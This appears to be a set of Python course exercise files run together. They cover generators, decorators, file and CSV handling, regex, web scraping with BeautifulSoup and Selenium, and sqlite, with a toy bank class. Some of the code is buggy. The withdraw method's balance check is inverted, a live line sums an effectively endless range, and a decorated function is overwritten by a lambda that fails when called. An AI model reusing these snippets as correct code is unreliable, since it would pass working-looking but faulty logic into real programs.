# my_for_loop("Hello World")
# # my_for_loop(usernames)


# def make_upper(user):
#     print(user.upper())


# # my_for_loop(usernames, lambda user: print(user.upper()))
# my_for_loop(usernames, make_upper)


# class Counter:
#     def __init__(self, start, end, step=1):
#         self.start = start
#         self.end = end
#         self.step = step

#     def __iter__(self):
#         return self

#     def __next__(self):
#         if self.start <= self.end:
#             current = self.start
#             self.start += self.step
#             return current
#         else:
#             raise StopIteration


# c = Counter(0, 10)
# print(iter(c))


# # print(next(c))
# # print(next(c))


# for num in Counter(0, 100, 2):
#     print(num)


# def count_to(max):
#     count = 1
#     while count <= max:
#         yield count
#         count += 1


# c = count_to(10)

# print(next(c))
# print(next(c))
# print(next(c))
# print(next(c))
# print(next(c))
# print(next(c))
# print(next(c))
# print(next(c))
# print(next(c))
# print(next(c))
# print(next(c))

# for num in c:
#     print(num)


# num_it = (num for num in range(10))


# result = sum([num**99999999 for num in range(1000000000000000000)])
# print(result)


result = sum(num for num in range(100000000000000000000000000))
print(result)
# def modify_data(dataset):
#     # process each item from dataset
#     # save to data_list
#     # yield result

#     return data_list


# from time import time

# t1 = time()
# lc_result = sum([num for num in range(100000000)])
# total_t1 = time() - t1

# print(f"LC took a total of {total_t1} seconds and then result is {lc_result}")


# t2 = time()
# gen_result = sum(num for num in range(100000000))
# total_t2 = time() - t2

# print(f"Generator took a total of {total_t2} seconds and then result is {gen_result}")


# def fib_list(count):
#     nums = []
#     a, b = 0, 1
#     while len(nums) < count:
#         nums.append(b)
#         a, b = b, a + b
#     return nums


# print(fib_list(100000))


# def fib_gen(count):
#     a, b = 0, 1
#     i = 0
#     while i < count:
#         a = b
#         b = a + b
#         yield a
#         i += 1


# # print(fib_gen(1000))

# for num in fib_gen(10000000):
#     print(num)


# def math(a, b, func):
#     return func(a, b)


# def sub(x, y):
#     return x - y


# print(math(10, 20, sub))


# def sum(n, func):
#     total = 0
#     for num in range(1, n + 1):
#         total += func(num)
#     return total


# def square(n):
#     return n * n


# def cube(n):
#     return n * n * n


# # print(sum(2, square))
# print(sum(5, cube))

import random


def greet(person):
    def get_mood():
        mood = ["Hey", "What!", "What the heck do you want!", "Get lost!"]
        msg = random.choice(mood)  # import random
        return msg

    result = f"{get_mood()} {person}"
    return result


print(greet("John"))
# def add(a, b):
#     return a + b


# def square(x):
#     return x * x


# # print(add(2, 3))


# result = add(10, 15)
# print(result)


# print(square(5))


from random import choice


# Factory function
def make_greet_function(person):
    def message():
        msg = choice(["Hello", "What!", "What the heck do you want!", "Get lost!"])
        return f"{msg} {person}"

    return message


# message_john = make_greet_function("John")
# message_jane = make_greet_function("Jane")

# print(message_jane())
# print(message_john())


# Decorator function
def lines(func):
    def wrapper():
        print("----------------")
        func()
        print("----------------")

    return wrapper


@lines  # say_john = lines(say_john)
def say_john():
    print("John Doe")


say_john = lambda x: print("John Doe")


def greet():
    print("Hello World!!!!")


# say_john = lines(say_john)

say_john()

# say_john = lines(say_john)  # I decorated say_john with stars

# say_john()
# # result_func()
# greet = lines(greet)
# greet()
from random import choice


class Helpers:
    @classmethod
    def gen_alphas(cls, count):
        return "".join([choice("abcdefghijklmnopqrstuvwxyz") for char in range(count)])

    @classmethod
    def gen_nums(cls, count):
        return "".join([choice("0123456789") for char in range(count)])

    @classmethod
    def gen_alphanum(cls, count):
        return "".join(
            [choice("abcdefghijklmnopqrstuvwxyz0123456789") for char in range(count)]
        )

    @classmethod
    def gen_alphanumspec(cls, count):
        return "".join(
            [
                choice("abcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()")
                for char in range(count)
            ]
        )


class Customer:
    def __init__(self, first_name, last_name, dob, address, pan_no, bank_details):
        self.first_name = first_name
        self.last_name = last_name
        self.dob = dob
        self.address = address
        self.pan_no = pan_no
        self.bank_details = bank_details
        self._balance = 0
        self.account_no = bank_details["initials"] + Helpers.gen_nums(8)

    def __repr__(self):
        return f"---{self.bank_details['name']}---\nName: {self.first_name} {self.last_name}\nA/C No: {self.account_no}\nCurrent Balance: {self._balance}"

    def deposit(self, amount):
        current = self._balance
        self._balance += amount
        return f"An amount of Rs. {amount} was credited to your account.\nPrevious Balance: {current}, New Balance: {self._balance}"

    def withdraw(self, amount):
        current = self._balance
        if amount > self._balance:
            self._balance -= amount
            return f"An amount of Rs. {amount} was debitted to your account.\nPrevious Balance: {current}, New Balance: {self._balance}"
        else:
            return f"Request failed! Insufficient balance!"

    def get_bank_details(self):
        return f"Bank: {self.bank_details['name']}\nBranch: {self.bank_details['branch']}\nIFSC: {self.bank_details['IFSC']}"

    # def modify_details()


class Bank:
    def __init__(self, name, initials, branch, IFSC, phone):
        self.name = name
        self.initials = initials
        self.branch = branch
        self.IFSC = IFSC
        self.phone = phone
        self._customers = []

    def add_customer(self, first_name, last_name, dob, address, pan_no):
        new_customer = Customer(
            first_name,
            last_name,
            dob,
            address,
            pan_no,
            {
                "name": self.name,
                "initials": self.initials,
                "branch": self.branch,
                "IFSC": self.IFSC,
            },
        )
        self._customers.append(new_customer)
        return new_customer

    # remove_customer()

    # get_customers_list()
    # Name: John Abraham, A/C: SBI63405721
    # Name: Uday Chopra, A/C: SBI19928528

    # search_customer_by_name(name)
    # search_customer_by_ac(ac)


SBI = Bank("State Bank of India", "SBI", "Matunga", "MTJN76", "+91 022 22345667")

john = SBI.add_customer(
    "John",
    "Abraham",
    "12/12/1976",
    "12rd Floor, Carter Road, Bandra, 400054",
    "JSHDD3456",
)

uday = SBI.add_customer(
    "Uday",
    "Chopra",
    "12/12/1976",
    "12rd Floor, Carter Road, Bandra, 400054",
    "UDDSD3456",
)

john.deposit(1000000)
uday.deposit(1500)

print(john)
print(uday)

# SBI.
# def find_customer_by_name(self, name):
#     customer = []
#     for cust in self.customers:
#         if name == cust.first_name:
#             customer.append(cust)
#     return customer


# Factory function

# from random import choice


# def make_greet_function(person):
#     def message():
#         msg = choice(["Hello", "What!", "What the heck do you want!", "Get lost!"])
#         return f"{msg} {person}"

#     return message


# message_john = make_greet_function("John")
# message_jane = make_greet_function("Jane")

# print(message_john())
# print(message_jane())


# def stars(fn):  # takes a function
#     def wrapper():
#         print("*" * 10)
#         fn()
#         print("*" * 10)

#     return wrapper  # returns function


# @stars  # say_hello = stars(say_hello)
# def say_hello():
#     print("Hello World")


# # say_hello = stars(say_hello)

# # say_hello()
# say_hello()


# from functools import wraps


# def stars(fn):  # takes a function
#     @wraps(fn)
#     def wrapper(*args, **kwargs):
#         """The Wrapper Function"""
#         print("*" * 10)
#         fn(*args, **kwargs)
#         print("*" * 10)

#     return wrapper  # returns function


# @stars  # say_hello = stars(say_hello) -> wrapper()
# def say_hello(person):
#     """Function that accepts a name and greets it"""
#     print(f"Hello, {person}")


# @stars
# def greet(msg, person):
#     """Function takes 2 args and prints them together"""
#     print(f"{msg} {person}")


# @stars
# def hello():
#     """Prints Hello World"""
#     print("Hello World")


# # say_hello = stars(say_hello)


# # say_hello("john")
# # greet("Howdy", "jane")
# # hello()

# print(say_hello.__doc__)
# print(greet.__doc__)
# print(hello.__doc__)


# from functools import wraps
# from time import time


# def speed_test(fn):
#     @wraps(fn)
#     def wrapper(*args, **kwargs):
#         start_time = time()
#         print(f"Executing {fn.__name__}")
#         result = fn(*args, **kwargs)
#         end_time = time()
#         print(f"Time Elapsed: {end_time - start_time}")
#         return result

#     return wrapper


# @speed_test
# def sum_nums_gens():
#     return sum(x for x in range(50000000))


# @speed_test
# def sum_nums_list():
#     return sum([x for x in range(50000000)])


# sum_nums_list = speed_test(sum_nums_list)


# print(sum_nums_gens())
# print(sum_nums_list())


from functools import wraps


def ensure_first_arg_is(val):
    def inner(fn):
        @wraps(fn)  # wrapper = wraps(fn)(wrapper)
        def wrapper(*args, **kwargs):
            if args and args[0] != val:
                return f"First argument needs to be {val}"
            else:
                return fn(*args, **kwargs)

        return wrapper

    return inner


@ensure_first_arg_is("john")  # greet = ensure_first_arg_is("john")(greet)
def greet(*names):
    print(names)


print(greet("john", "jake", "jack"))


# greet = ensure_first_arg_is("john")(greet)
# greet("jane", "james", "jake")


# inner = ensure_first_arg_is("john")
# wrapper = inner(greet)
# wrapper("jane", "james", "jake")

# greet = ensure_first_arg_is("john")(greet)

# first = ensure_first_arg_is("john")
# second = first(greet)
# second("john", "james")
# print(second)


def enforce(*types):
    def inner(fn):
        def wrapper(*args, **kwargs):
            new_args = []
            for a, t in zip(args, types):
                try:
                    new_args.append(t(a))
                except (ValueError, TypeError):
                    return "Something went wrong"
            return fn(*new_args)

        return wrapper

    return inner


@enforce(str, int)
def announce(msg, times):
    print((msg + "\n") * times)


announce("Hello", 20)
# file = open("notes.txt")
# data = file.read()

# print(data)


# with open("notes.txt", "r") as file:
#     print(file.read())
#     file.seek(20)
#     print(file.read())

# print(file.read())

# with open("notes.txt", "w") as file:
#     file.write("This is line one\n")
#     file.write("This is line two\n")
#     file.write("This is line three\n")
#     file.write("This is line four\n")
#     file.write("This is line five\n")
#     file.write("This is line six\n")


# with open("hello.txt", "w") as file:
#     file.write("Hello World\n" * 10)


# with open("notes.txt", "w") as file:
#     file.write("This is brand new text\n")
#     file.seek(0)
#     file.write("Hello World")


# with open("notes3.txt", "r+") as file:
#     file.write("Opened in R+ mode\n")
#     file.write("Opened in R+ mode\n")
#     file.write("Opened in R+ mode\n")
#     file.write("Opened in R+ mode\n")
#     file.seek(0)
#     file.write("Hello World\n")

# from time import sleep


# def copy_file(file_name, new_file_name):
#     with open(file_name) as file:
#         for num in range(3):
#             print("Reading...")
#             sleep(1)
#         data = file.read()

#     with open(new_file_name, "w") as file:
#         print("Writing your data")
#         sleep(2)
#         file.write(data)


# copy_file("notes.txt", "notes_copy.txt")


# reversed_copy_file()
# search_and_replace(filename, 'Hello', 'Howdy')
#


def stats(filename):
    # logic
    return {"words": 90, "characters": 300, "lines": 10}
# 1. Write a function called increment_list that accepts a list of numbers
# and the increment count as parameters. It should return a copy of the list
# where each item has been incremented by the 2nd argument. Use the map
# function to do this (use lambdas).
# Ex. increment_list([1,2,3], 2) # -> [3,4,5]


# 2. Implement a function is_all_strings that accepts a single iterable
# and returns True if it contains ONLY strings, Otherwise, it should return false.
# Ex 1. is_all_strings(['a', 'b', 'c']) # -> True
# Ex 2. is_all_strings([2, 'a', 'b', 'c']) # -> False


# 3
# Write a function called repeat, which accepts a string and a
# number and returns a new string with the string passed to the
# function repeated the number amount of times. Do not use the
# built in repeat method or string multiplication.
# repeat('*', 5) # -> '*****'
# repeat('abc', 3) # -> 'abcabcabc'


# 4.  Write a function called triple_and_filter. This function should accept a
# list of numbers, filter out every number that is not divisible by 4, and
# return a new list where every remaining number is tripled.
# Ex. triple_and_filter([1,2,3,4]) # -> [12]
# Ex. triple_and_filter([6,8,10,12]) # -> [24,36]


# 5. Write a function called extract_full_name. This function should accept
# a list of dictionaries and return a new list of strings with the first and
# last name keys in each dictionary concatenated.
# Ex.
# names = [
#     {"first": "john", "last": "doe"},
#     {"first": "james", "last": "smith"},
#     {"first": "zack", "last": "johnson"},
# ]
# extract_full_name(names) # -> ['john doe', 'james smith', 'zack johnson']


# 6. Write a function called get_multiples, which accepts a number and a
# count, and returns a generator that yields the first count multiples of
# the number. The default number should be 1, and the default count
# should be 10.
# Ex. val = get_multiples(10, 3)
# next(val) # -> 10
# next(val) # -> 20
# next(val) # -> 30
# next(val) # -> StopIteration


# 7. File writing statictics
# (exercise given in class)
# class Person:
#     hands = 2
#     legs = 2

#     def __init__(self, name, age):
#         self.name = name
#         self.age = age
#         self.city = "Mumbai"

#     def __repr__(self):
#         return f"{self.name}"

#     @classmethod
#     def features(cls):
#         return f"Human with 2 hands and 2 legs"

#     def greet(self, person):
#         return f"Hello {person}, mera naam hai {self.name}"

#     def change_name(self, new_name):
#         self.name = new_name


# my_lst = list([1, 2, 3])
# my_lst2 = list([1, 2, 3])
# my_lst3 = list([1, 2, 3])

# my_person = Person("john doe", 23)
# my_person2 = Person("jane doe", 24)
# my_person3 = Person("jack doe", 26)


# # my_person3.name = "Shahrukh"
# # my_person3.age
# print(my_person3.greet("Amir"))

# my_person3.change_name("Salman")

# print(my_person3.greet("Akshay"))

# print(my_person3)

# print(my_person2.city)

# my_person2.city = "Delhi"

# print(my_person2.city)
# print(my_person3.city)

# my_lst = [1, 2, 3, 4]
# my_lst2 = [1, 2, 3, 4]
# my_lst3 = [1, 2, 3, 4]


# my_lst3.append(10)

# my_person2.hands = 10

# print(my_person2.hands)

# print(Person.hands)
# print(Person.legs)
# print(Person.features())


# with open("house_state.csv") as file:
#     data = file.readlines()


# from csv import reader
# from csv import DictReader

from csv import writer, reader, DictWriter, DictReader

# with open("house_state.csv") as file:
#     csv_reader = reader(file, delimiter="|")  # iterator

#     for row in csv_reader:
#         # print(row[0])
#         if "California" in row[0]:
#             print(row)


with open("house_state.csv") as file:
    dict_reader = DictReader(file)

    for row in dict_reader:
        # print(row)
        if "Virginia" in row["district"]:
            print(row)

# with open("movies.csv", "w", newline="") as file:
#     csv_writer = writer(file)

#     csv_writer.writerow(["Movie Name", "Lead Actor", "Release Year"])
#     csv_writer.writerow(["Lagaan", "Amir Khan", 2005])
#     csv_writer.writerow(["Desh Drohi", "KAMAL R KHAN", 2008])
#     csv_writer.writerow(["Titanic", "Leonardo DiCaprio", 1998])


# with open("house_state.csv") as file:
#     csv_reader = reader(file)  # iterator
#     data = []
#     for row in csv_reader:
#         if "California" in row[0]:
#             data.append(row)

# with open("cal_house_state.csv", "w", newline="") as file:
#     csv_writer = writer(file)
#     csv_writer.writerow(["district", "current_votes", "total_votes", "percent"])
#     for item in data:
#         csv_writer.writerow(item)

with open("movies.csv", "w", newline="") as file:
    headers = ["Movie Name", "Lead Actor", "Release Year"]

    csv_writer = DictWriter(file, fieldnames=headers)

    csv_writer.writeheader()

    csv_writer.writerow(
        {"Movie Name": "Lagaan", "Lead Actor": "Amir Khan", "Release Year": 2004}
    )
data = """
<!DOCTYPE html>
<html lang="en">
    <head>
        <meta charset="UTF-8" />
        <meta name="viewport" content="width=device-width, initial-scale=1.0" />
        <title>My website</title>

        <style>
            .special {
                color: green;
                font-weight: bold;
            }
            #main {
                color: red;
            }
        </style>
    </head>
    <body>
        <h1 id="main">My website name</h1>
        <h2 class="special special2">This is my subtitle</h2>
        <p>
            Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed porta enim vel mauris
            dignissim, ac tempus justo rutrum. Nulla in vestibulum mi, vitae aliquam dui. Nunc orci
            metus, volutpat vel tortor ac, finibus iaculis nisi. Curabitur eleifend, orci at
            vehicula mattis, tellus metus fringilla nulla
        </p>
        <div>
            <h4 class="price product_label info">Product Price:</h4>
            <span class="price">$9.99</span>
            <a href="https://google.com">Google</a>
            <article class="first_para">
                Ut dictum urna diam, sit amet convallis nisi finibus eu. Maecenas dictum erat id
                porta ultrices. <strong>Nulla fringilla, sem ut accumsan interdum</strong>, purus
                purus mollis diam, sed pretium sapien lectus a libero. Phasellus rutrum vulputate
                eros eu imperdiet. Nam non malesuada purus.
            </article>
            <ul>
                <li class="special" id="sample">Nam quis risus eleifend, pretium quam eu, finibus massa.</li>
                <li class="special">
                    Donec vitae justo eu risus bibendum faucibus et vitae magna. Mauris congue diam
                    nec porttitor egestas.
                </li>
                <li>
                    Nam vel tincidunt lectus. Morbi molestie lacus id leo faucibus posuere. Sed eu
                    pretium justo. <em>Phasellus enim lectus</em>, rhoncus eu consequat ut,
                    facilisis eu velit.
                </li>
            </ul>
        </div>
        <div id="ending">
            <a href="https://yahoo.com" class="special">Yahoo</a>
            <img
                src="https://rukminim1.flixcart.com/flap/700/700/image/4224c093ab3f6206.jpg"
                alt="Image Description"
            />
            <p>This is some cool text.</p>
        </div>
    </body>
</html>
"""
# Ex. 1
def increment_list(lst, count):
    return list(map(lambda n: n + count, lst))


# Ex. 2
def is_all_strings(lst):
    return all(type(item) == str for item in lst)


# Ex. 3
def repeat(string, num):
    if num == 0:
        return ""
    i = 0
    newStr = ""
    while i < num:
        newStr += string
        i += 1
    return newStr


# Ex. 4
def triple_and_filter(lst):
    return list(filter(lambda x: x % 4 == 0, map(lambda x: x * 3, lst)))


# Ex. 5
def extract_full_name(lst):
    return list(map(lambda val: f"{val['first']} {val['last']}", lst))


# Ex. 6
def get_multiples(num=1, count=10):
    next_num = num
    while count > 0:
        yield next_num
        count -= 1
        next_num += num


# Ex. 7
def statistics(file_name):
    with open(file_name) as file:
        lines = file.readlines()

    return {
        "lines": len(lines),
        "words": sum(len(line.split(" ")) for line in lines),
        "characters": sum(len(line) for line in lines),
    }
# import my_mod
# print(my_mod.add(10, 20))


# import pickle
# import jsonpickle
# import json
# from Bank import Bank


# SBI = Bank("State Bank of India", "SBI", "Matunga", "MTJN76", "+91 022 22345667")

# john = SBI.add_customer(
#     "John",
#     "Abraham",
#     "12/12/1976",
#     "12rd Floor, Carter Road, Bandra, 400054",
#     "JSHDD3456",
# )

# uday = SBI.add_customer(
#     "Uday",
#     "Chopra",
#     "12/12/1976",
#     "12rd Floor, Carter Road, Bandra, 400054",
#     "UDDSD3456",
# )


# # Writing a pickle file
# with open("sbi_customers.pickle", "wb") as file:
#     pickle.dump((john, uday), file)


# print(john)

# with open("sbi_customers.pickle", "rb") as file:
#     # pickle_data = pickle.load(file)
#     # print(pickle_data)
#     john, uday = pickle.load(file)
#     print(uday)


# print(json.dumps(john.__dict__))


# with open("sbi_cusomters.json", "w") as file:
#     customer_data = jsonpickle.encode((john, uday))
#     file.write(customer_data)


# with open("sbi_cusomters.json", "r") as file:
#     data = file.read()
#     decoded_data = jsonpickle.decode(data)
#     print(decoded_data)


data = """
<!DOCTYPE html>
<html lang="en">
    <head>
        <meta charset="UTF-8" />
        <meta name="viewport" content="width=device-width, initial-scale=1.0" />
        <title>My website</title>
        <style>
            .special {
                color: green;
                font-weight: bold;
            }
            #main {
                color: red;
            }
        </style>
    </head>
    <body>
        <h1 id="main">My website name</h1>
        <h2 class="special special2">This is my subtitle</h2>
        <p>
            Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed porta enim vel mauris
            dignissim, ac tempus justo rutrum. Nulla in vestibulum mi, vitae aliquam dui. Nunc orci
            metus, volutpat vel tortor ac, finibus iaculis nisi. Curabitur eleifend, orci at
            vehicula mattis, tellus metus fringilla nulla
        </p>
        <div>
            <h4 class="price product_label info">Product Price:</h4>
            <span class="price">$9.99</span>
            <a href="https://google.com">Google</a>
            <article class="first_para">
                Ut dictum urna diam, sit amet convallis nisi finibus eu. Maecenas dictum erat id
                porta ultrices. <strong>Nulla fringilla, sem ut accumsan interdum</strong>, purus
                purus mollis diam, sed pretium sapien lectus a libero. Phasellus rutrum vulputate
                eros eu imperdiet. Nam non malesuada purus.
            </article>
            <ul>
                <li class="special" id="sample">Nam quis risus eleifend, pretium quam eu, finibus massa.</li>
                <li class="special">
                    Donec vitae justo eu risus bibendum faucibus et vitae magna. Mauris congue diam
                    nec porttitor egestas.
                </li>
                <li>
                    Nam vel tincidunt lectus. Morbi molestie lacus id leo faucibus posuere. Sed eu
                    pretium justo. <em>Phasellus enim lectus</em>, rhoncus eu consequat ut,
                    facilisis eu velit.
                </li>
            </ul>
        </div>
        <div id="ending">
            <a href="https://yahoo.com" class="special">Yahoo</a>
            <img
                src="https://rukminim1.flixcart.com/flap/700/700/image/4224c093ab3f6206.jpg"
                alt="Image Description"
            />
            <p>This is some cool text.</p>
        </div>
    </body>
</html>
"""
# names = [
#     {"first": "john", "last": "doe"},
#     {"first": "james", "last": "smith"},
#     {"first": "zack", "last": "johnson"},
# ]

# print(names[0]["first"])
# print(names[0]["last"])


# # def extract_full_name(lst):
# #     return list(map(lambda val: f"{val['first']} {val['last']}", lst))


# # extract_full_name(names)


# from bs4 import BeautifulSoup


# data = """
# <!DOCTYPE html>
# <html lang="en">
#     <head>
#         <meta charset="UTF-8" />
#         <meta name="viewport" content="width=device-width, initial-scale=1.0" />
#         <title>My website</title>
#         <style>
#             .special {
#                 color: green;
#                 font-weight: bold;
#             }
#             #main {
#                 color: red;
#             }
#         </style>
#     </head>
#     <body>
#         <h1 id="main">My website name</h1>
#         <h2 class="special special2">This is my subtitle</h2>
#         <p>
#             Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed porta enim vel mauris
#             dignissim, ac tempus justo rutrum. Nulla in vestibulum mi, vitae aliquam dui. Nunc orci
#             metus, volutpat vel tortor ac, finibus iaculis nisi. Curabitur eleifend, orci at
#             vehicula mattis, tellus metus fringilla nulla
#         </p>
#         <div>
#             <h4 class="price product_label info">Product Price:</h4>
#             <span class="price">$9.99</span>
#             <a href="https://google.com">Google</a>
#             <article class="first_para">
#                 Ut dictum urna diam, sit amet convallis nisi finibus eu. Maecenas dictum erat id
#                 porta ultrices. <strong>Nulla fringilla, sem ut accumsan interdum</strong>, purus
#                 purus mollis diam, sed pretium sapien lectus a libero. Phasellus rutrum vulputate
#                 eros eu imperdiet. Nam non malesuada purus.
#             </article>
#             <ul>
#                 <li class="special" id="sample">Nam quis risus eleifend, pretium quam eu, finibus massa.</li>
#                 <li class="special">
#                     Donec vitae justo eu risus bibendum faucibus et vitae magna. Mauris congue diam
#                     nec porttitor egestas.
#                 </li>
#                 <li>
#                     Nam vel tincidunt lectus. Morbi molestie lacus id leo faucibus posuere. Sed eu
#                     pretium justo. <em>Phasellus enim lectus</em>, rhoncus eu consequat ut,
#                     facilisis eu velit.
#                 </li>
#             </ul>
#         </div>
#         <div id="ending">
#             <a href="https://yahoo.com" class="special">Yahoo</a>
#             <img
#                 src="https://rukminim1.flixcart.com/flap/700/700/image/4224c093ab3f6206.jpg"
#                 alt="Image Description"
#             />
#             <p>This is some cool text.</p>
#         </div>
#     </body>
# </html>
# """


# soup = BeautifulSoup(data, "html.parser")


# print(type(soup))

# Attributes
# print(soup.body)
# print(soup.div)
# print(soup.li)
# print(soup.div.h4)
# print(soup.ul.li)

# Methods

# --------------------FIND------------
# Search by tag names
# print(soup.find("div"))
# print(soup.find_all("div"))
# print(soup.find_all("li"))

# all_lis = soup.find_all("li")

# for item in all_lis:
#     print(item, "\n\n")

# Search by attributes

# print(soup.find(id="ending"))
# print(soup.find(id="main"))

# print(soup.find(class_="special"))
# print(soup.find_all(class_="special"))

# print(soup.find_all(attrs={"href": "https://yahoo.com"}))


# CSS Selectors (select method)
# id - '#val'
# class - '.val'
# children - 'div > val'


# print(soup.select(".special"))
# print(soup.select("#main"))


# print(soup.select(".special")[0])

# print(soup.select("[href]"))

# ----------------EXTRACT----------

# special_el = soup.select(".special")[0]
# special_els = soup.select(".special")

# # print(special_el.get_text())

# for el in special_els:
#     print(el.get_text())


# print(soup.find("h4")["class"])
# print(soup.find("h1")["id"])

# print(soup.find("img")["src"])

# ---------------NAVIGATE-----------------------


# first_div = soup.find("div")
# print(first_div.contents[1].next_sibling.next_sibling)
# print(first_div.contents[5].parent.parent.parent.parent)

# data = soup.find(id="main")
# data = soup.find(id="ending")
# print(data)

# print(data.find_next_sibling().find_next_sibling())
# print(data.find_previous_sibling())
# print(data.find_parent())


# ---------------------------------------

import requests
from bs4 import BeautifulSoup
from csv import writer

response = requests.get("https://arstechnica.com/")


soup = BeautifulSoup(response.text, "html.parser")
articles = soup.find_all(class_="article")

with open("articles.csv", "w", newline="") as file:
    csv_writer = writer(file)
    csv_writer.writerow(["Title", "Excerpt", "URL", "Author", "Date"])

    for article in articles:
        title = article.find("h2").get_text()
        url = article.find("a")["href"]
        excerpt = article.find(class_="excerpt").get_text()
        author = article.find("span").get_text()
        date = article.find("time").get_text()

        csv_writer.writerow([title, excerpt, url, author, date])


# books = soup.find_all(class_="product_pod")

# for book in books:
#     title = book.find("a")['title']


# response = requests.get("http://books.toscrape.com/")

# soup = BeautifulSoup(response.text, "html.parser")
# books = soup.find_all(class_="product_pod")

# for book in books:
#     h3 = book.find("h3").find("a")["title"]
#     print(h3)
# import requests
# from bs4 import BeautifulSoup
# from csv import DictWriter

# all_books = []
# base_url = "http://books.toscrape.com/catalogue/"
# url = "page-1.html"

# while url:
#     res = requests.get(f"{base_url}{url}")
#     print(f"Now scraping {base_url}{url}")
#     soup = BeautifulSoup(res.text, "html.parser")

#     books = soup.find_all(class_="product_pod")

#     for book in books:
#         all_books.append(
#             {
#                 "title": book.find("h3")
#                 .find("a")["title"]
#                 .encode("ascii", "ignore")
#                 .decode(),
#                 "price": book.find(class_="price_color").get_text().split("£")[-1],
#                 "url": book.find("h3")
#                 .find("a")["title"]
#                 .encode("ascii", "ignore")
#                 .decode(),
#                 "availability": book.find(class_="availability").get_text().strip(),
#             }
#         )

#     next_btn = soup.find(class_="next")
#     url = next_btn.find("a")["href"] if next_btn else None


# # for book in all_books:
# #     print(book)


# with open("books.csv", "w", newline="") as file:
#     headers = ["title", "price", "url", "availability"]
#     csv_writer = DictWriter(file, fieldnames=headers)
#     csv_writer.writeheader()
#     for book in all_books:
#         csv_writer.writerow(book)

#     # for book in books:
#     #     title = book.find("h3").find("a")["title"]
#     #     price = book.find(class_="price_color").get_text()
#     #     url = book.find("h3").find("a")["title"]
#     #     availability = book.find(class_="availability").get_text().strip()

#     #     csv_writer.writerow([title, price, url, availability])


from selenium import webdriver
from selenium.webdriver.common.keys import Keys
from time import sleep

browser = webdriver.Chrome("chromedriver.exe")

browser.maximize_window()
# browser.get("https://www.youtube.com")
# sleep(3)


# search_box = browser.find_element_by_xpath(
#     "/html/body/ytd-app/div/div/ytd-masthead/div[3]/div[2]/ytd-searchbox/form/div/div[1]/input"
# )
# search_box.send_keys("tool parabola", Keys.ENTER)
# sleep(3)

# song = browser.find_element_by_partial_link_text("Parabola")
# song.click()
# sleep(3)

# mute_btn = browser.find_element_by_xpath(
#     "/html/body/ytd-app/div/ytd-page-manager/ytd-watch-flexy/div[5]/div[1]/div/div[1]/div/div/div/ytd-player/div/div/div[29]/div[2]/div[1]/span/button"
# )
# sleep(1)
# mute_btn.click()

# sleep(15)


# song2 = browser.find_element_by_partial_link_text("Metallica")

# if song2:
#     song2.click()
#     sleep(15)
# else:
#     browser.get("https://www.google.com")

# browser.close()

browser.get("https://web.whatsapp.com")
sleep(15)

search_box = browser.find_element_by_xpath(
    "/html/body/div[1]/div/div/div[3]/div/div[1]/div/label/div/div[2]"
)
sleep(1)
search_box.click()
search_box.send_keys("python evening", Keys.ENTER)
sleep(2)

browser.find_element_by_xpath(
    '//*[@id="pane-side"]/div[1]/div/div/div[6]/div/div/div[2]/div[1]/div[1]/span'
).click()

msg_box = browser.find_element_by_xpath(
    "/html/body/div[1]/div/div/div[4]/div/footer/div[1]/div[2]/div/div[2]"
)
msg_box.click()

for num in range(10):
    msg_box.send_keys("TEST MESSAGE", Keys.ENTER)

sleep(5)
browser.close()
import re

pattern = re.compile(r"\d{3}\s?\d{4}\s?\d{4}")

# result = pattern.search("Call us today on 022 24567849")
# print(result.group())


# result = pattern.findall("Call us today on 022 24567849 or 02223457690")
# print(result)


# def extract_all_phones(inp):
#     phone_regex = re.compile(r"\d{3}\s?\d{4}\s?\d{4}")
#     return phone_regex.findall(inp)


# print(extract_all_phones("Call us today on 022 24567849 or 02223457690"))
# print(extract_all_phones("Call us today on 022 2456"))


def is_phone_valid(phone):
    # phone_regex = re.compile(r"^\d{3}\s?\d{4}\s?\d{4}$")
    phone_regex = re.compile(r"\d{3}\s?\d{4}\s?\d{4}")
    # match = phone_regex.search(phone)
    match = phone_regex.fullmatch(phone)
    if match:
        return True
    else:
        return False


print(is_phone_valid("02224467849"))
# import sqlite3

# # data = ("jack", "sparrow", 36)
# # data = [
# #     ("jack", "sparrow", 36),
# #     ("ramesh", "smith", 42),
# #     ("suresh", "mcdonald", 22),
# #     ("sachin", "white", 18),
# # ]

# conn = sqlite3.connect("users.db")

# c = conn.cursor()

# c.execute("CREATE TABLE users (first_name TEXT, last_name TEXT, age INTEGER);")
# # c.execute("INSERT INTO users VALUES ('john', 'doe', 25);")
# # c.execute("INSERT INTO users VALUES ('jane', 'doe', 35);")

# # query = """INSERT INTO users VALUES (?, ?, ?)"""
# # # c.execute(query, data)

# # for item in data:
# #     print(f"Writing {item[0]} to database...")
# #     c.execute(query, item)

# # c.executemany(query, data)

# c.execute("SELECT * FROM users;")
# # print(c)

# # for row in c:
# #     print(row)

# print(c.fetchall())


# conn.commit()
# conn.close()


# import sqlite3

# first_name = input("Enter your first name: ")
# last_name = input("Enter your last name: ")
# age = int(input("Enter your age: "))

# conn = sqlite3.connect("users.db")
# c = conn.cursor()

# query = """INSERT INTO users VALUES (?, ?, ?)"""
# c.execute(query, (first_name, last_name, age))

# conn.commit()
# conn.close()


# import sqlite3
import requests
from bs4 import BeautifulSoup

all_books = []
base_url = "http://-----.com/"
# url = "page-1.html"


while base_url:
    res = requests.get(f"{base_url}")
    print(f"Now scraping {base_url}")
    soup = BeautifulSoup(res.text, "html.parser")

    books = soup.find_all(class_="status-publish")
    # print(books)

    for book in books:
        all_books.append({"title": book.find(class_="title").find("a")["href"]})

    next_btn = soup.find(class_="next")
    base_url = next_btn["href"] if next_btn else None


print(all_books)

# conn = sqlite3.connect("books.db")
# c = conn.cursor()

# c.execute(
#     "CREATE TABLE books ('title' TEXT, 'price' REAL, 'url' TEXT, 'availability' TEXT)"
# )

# query = """INSERT INTO books VALUES (?, ?, ?, ?)"""

# for book in all_books:
#     print(f"Adding {book['title']} to db.")
#     c.execute(query, tuple(book.values()))

# conn.commit()
# conn.close()
# # NoSQL
# # -> Collections -> Docs

# # SQL -> Database -> Table -> Cols & Rows
# # pyclass
# # first_name TEXT, last_name TEXT, age INTEGER


# from pymongo import MongoClient

# client = MongoClient("mongodb://127.0.0.1:27017")


# db = client.pyclass
# coll = db["students"]


# # doc = {"first_name": "john", "last_name": "doe", "age": 25}

# # users = [
